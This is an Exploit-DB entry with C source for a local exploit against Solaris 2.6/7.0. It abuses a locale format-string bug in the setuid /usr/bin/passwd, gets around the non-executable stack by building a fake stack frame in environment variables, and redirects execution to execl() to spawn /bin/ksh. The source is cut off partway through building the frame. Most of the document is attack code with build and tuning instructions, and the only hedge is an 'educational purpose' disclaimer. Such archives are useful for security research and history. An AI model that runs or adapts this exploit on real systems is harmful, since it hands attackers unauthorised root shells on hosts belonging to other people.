Exploit-DB #210
Description: Solaris 2.6/7.0 - 'locale' Format Strings noexec stack Overflow
Type: local
Platform: solaris
Date: 2000-11-30
Author: warning3

Exploit:
/*
 * exploit for locale subsystem format strings bug In Solaris with noexec stack.
 * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. 
 * ./ex -o -4 )
 *
 * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
 * usages: ./ex -h
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
 * Thanks for horizon's great article about defeating noexec stack for Solaris.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *     by warning3@nsfocus.com (http://www.nsfocus.com)
 *             y2k/11/10
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048			/* the size of format string buffer	*/
#define BUFF    128			/* the progname buffer size		*/
#define SHELL   "/bin/ksh"		/* shell name				*/
#define DEFAULT_NUM 68			/* format strings number		*/
#define DEFAULT_RETLOC 0xffbefb44	/* default retloc address		*/
#define VULPROG  "/usr/bin/passwd"	/* vulnerable program name		*/

void usages(char *progname)
{
  int i;
  printf("Usage: %s \n", progname);
  printf("    [-h]       Help menu\n");
  printf("    [-n number]      format string's number\n");
  printf("    [-a align]       retloc buffer alignment\n");
  printf("    [-o offset]      retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)
{
  __asm__("mov %sp,%i0");
}

main( int argc, char **argv )
{
  char *pattern, retlocbuf[BUFF], *env[11];
  char plat[BUFF], *ptr;
  long sh_addr, sp_addr, i;
  long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
  long  *addrptr;
  long reth, retl, reth1, retl1;
  FILE *fp;
  

  extern int optind, opterr;
  extern char *optarg;
  int opt;

  void *handle;
  long execl_addr, fp_addr, fp1_addr;
  char fakeframe[512];
  char padding[64], pad = 0;
  int env_len, arg_len, len;

  char progname[BUFF];
  strncpy(progname, argv[0], BUFF-1);

  while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
    switch((char)opt)
    {

      case 'n':
        num = atoi(optarg);
        break;

      case 'a':
        align = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
      case 'h':
      default:
        usages(progname);
        exit(0);
    }

  retloc +=  offset;
  
  /* get platform info  */
  sysinfo(SI_PLATFORM,plat,256);

  /* Construct fake frame in environ */
  
  env[0] = "NLSPATH=:.";
  env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */
  /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
  env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00           */
  env[3]=&(fakeframe[40]);/*         |0x00      */
  env[4]=&(fakeframe[40]);/*        |0x00       */
  env[5]=&(fakeframe[40]);/*             |0x00  */
  env[6]=&(fakeframe[44]);/*            |fp2|fp2|fp2|fp2|fp2*/
  env[7]=SHELL;     /* shell strings */
  env[8]=NULL;

  /* calculate the length of "VULPROG" + argv[1] */
  arg_len = strlen(VULPROG) + strlen("-z") + 2;

  /* calculate the pad nummber .
   * We manage to let the length of padding + arg_len + "NLSPATH=." can
   * be divided by 4. So fakeframe address is aligned with 4, otherwise
   * the exploit won't work.
   */
  pad = 3 - (arg_len + strlen(env[0]) +1)%4;
  memset(padding, 'A', pad);
  padding[pad] = '\0';

  /* get environ length */
  env_len = 0; 
  for(i = 0 ; i < 8 ; i++ )
    env_len += strlen(env[i]) + 1;

 /* get the length from argv[0] to stack bottom 
  *                  
  * +------------------------+-----------+--------+-----------+--------+
  * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
  * +------------------------+-----------+--------+-----------+--------+
  * ^               ^ 
  * |__startaddr                |__sp_addr 
  *
  * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
  *
  *  I find "startaddr" always can be divided by 4.
  *  So we can adjust the padding's size to let the fakeframe address
  *  can be aligned with 4.
  *
  * len = length of "argv" + "env" + "platform" + "program name" 
  * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4
  * if (len%4)==0, sp_addr - startaddr =  len
  * So we can get every entry's address precisely based on startaddr or sp_addr.
  * Now we won't be bored with guessing the alignment and offset.:)
  */
  len = arg_len + env_len + strlen(plat) + 1 
  + strlen(VULPROG) + 1;
  printf("len = %#x\n", len);

  /* get stack bottom address */

  sp_addr = (get_sp() | 0xffff) & 0xfffffffc;

  /* fp1_addr must be valid stack address */
  fp1_addr = (sp_addr & 0xfffffac0);

  /* get shell string address */
  sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */
         - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) - 3 ;

   printf("SHELL address = %#x\n", sh_addr);
   
  /* get our fake frame address */
  fp_addr = sh_addr - 8*8 - 1;

  /* get execl() address */
  if (!(handle=dlopen(NULL,RTLD_LAZY)))
  {            
    fprintf(stderr,"Can't dlopen myself.\n");
    exit(1);
  }
  if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
  {
    fprintf(stderr,"Can't find execl().\n");
    exit(1);
  }           
    
  /* dec 4 to skip the 'save' instructure */
  execl_addr -= 4;
  
  /* check if the exec addr includes zero  */
  if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
    !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
  {
    fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
    exit(1);
  }

  printf("Using execl() address : %#x\n",execl_addr);

  /* now we set up our fake stack frame */

  addrptr=(long *)fakeframe;

  *addrptr++= 0x12345678; /* you can